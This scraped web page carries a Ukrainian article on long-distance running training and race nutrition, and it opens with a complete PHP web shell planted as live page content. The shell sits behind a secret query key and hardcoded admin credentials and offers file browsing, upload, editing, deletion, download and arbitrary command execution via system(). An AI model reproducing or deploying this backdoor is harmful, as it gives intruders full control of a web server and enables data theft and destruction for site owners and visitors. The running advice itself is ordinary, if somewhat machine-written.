if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } Біг на довгі дистанції стратегії та підготовка до змагань – collectives.berlin

Your digital paradise.

Біг на довгі дистанції стратегії та підготовка до змагань

Займайтеся кардіотренуванням не менше трьох разів на тиждень, in.ua застосовуючи комбінацію інтервальних та тривалих пробіжок. Для новачків оптимально почати з 30 хвилин помірного темпу, поступово збільшуючи навантаження до 60 хвилин або більше. Також важливо врахувати етапи відновлення, які потрібно планувати після інтенсивних тренувань.

Регулярно включайте силові вправи у ваш графік, що допоможе зміцнити м’язи, покращити витривалість та знизити ризик травм. Вправа на основі індивідуальних потреб може бути особливо корисною; наприклад, акцентуйте увагу на ногах і торсі, щоб підтримувати правильну техніку під час забігів.

Харчування також відіграє ключову роль. Збалансований раціон, що включає вуглеводи, білки та жири, забезпечить необхідну енергію. Рекомендується споживати легкі закуски з високим вмістом вуглеводів за 30–60 хвилин до тренувань та включати відновлювальні страви після завершення фізичних навантажень.

Розробка стратегії для запланованих забігів включає оцінку погодних умов, особливостей маршруту та власних можливостей. Практикуйте темп на коротших дистанціях перед важливими подіями, щоб знайти оптимальне ритмічне навантаження без перевтоми.

Як скласти тренувальний план для бігу на великі відстані

Рекомендується розпочати з оцінки поточного рівня фізичної підготовки. Протягом декількох тижнів ведіть щоденник, відмічаючи дистанцію та час пробіжок. Це допоможе виявити ваші сильні та слабкі сторони.

Наступним кроком буде визначення цілей. Чи плануєте ви змагатися, чи просто покращити свою витривалість? Якщо ви готуєтеся до марафону, встановіть часові цілі та роботизуйте план, щоб досягти бажаного результату у визначений термін.

План має включати різноманітні типи занять: тривалі пробіжки, темпові тренування та інтервали. Наприклад, один раз на тиждень проведіть тривалу пробіжку, що поступово збільшує свою дистанцію, а в інші дні включіть швидкісні інтервали для розвитку швидкості і витривалості.

Обов’язково передбачте дні відпочинку. Без адекватного відновлення організм не зможе ефективно адаптуватися до навантажень. Рекомендується хоча б один день на тиждень віддавати відпочинку, щоб уникнути перенавантажень та травм.

Спостерігайте за харчуванням. Збалансоване меню, багате на вуглеводи, білки та жири, позитивно вплине на вашу продуктивність. Розгляньте можливість консультації з дієтологом для створення індивідуального плану харчування.

Регулярно звіряйте прогрес. Використовуйте пульсометри, фітнес-трекери або мобільні додатки, щоб відстежувати свої досягнення та змінювати план тренувань у разі необхідності. Це дозволить зберегти мотивацію та підвищити ефективність занять.

Стратегії харчування під час тривалих забігів

Для підтримки енергії під час пробігів, розгляньте вживання вуглеводів у вигляді гелів, барів або напоїв. Важливо вживати їх приблизно кожні 30-45 хвилин, щоб запобігти виснаженню глікогену. Кожен спортсмен має знайти свій оптимальний баланс, але рекомендоване споживання – близько 30-60 грамів вуглеводів на годину.

Гідратація та електроліти

Гідратація починається за кілька днів до старту. Протягом забігу важливо не лише пити воду, але й компенсувати втрату електролітів, які виводяться з потом. Ідеально використовувати ізотонічні напої, що містять натрій, калій та магній, оскільки вони допомагають утримувати рідину в організмі і знижують ризик судом.

Ніколи не експериментуйте з новими продуктами у день змагання. Використовуйте те, що вже перевірено під час тренувань. Ведення щоденника харчування допоможе зрозуміти, які продукти дають вам найбільше енергії без побічних ефектів.

Час прийому їжі

Перед стартом не слід забувати про прийом їжі. З’їжте легкий сніданок або закуску за 2-3 години до забігу, щоб організм встиг перетравити поживні речовини. Оптимально споживати їжу, багатофункціональним харчуванням, яке містить як вуглеводи, так і білки, що забезпечить тривалу енергію під час активних зусиль.

Leave a Reply

Your email address will not be published. Required fields are marked *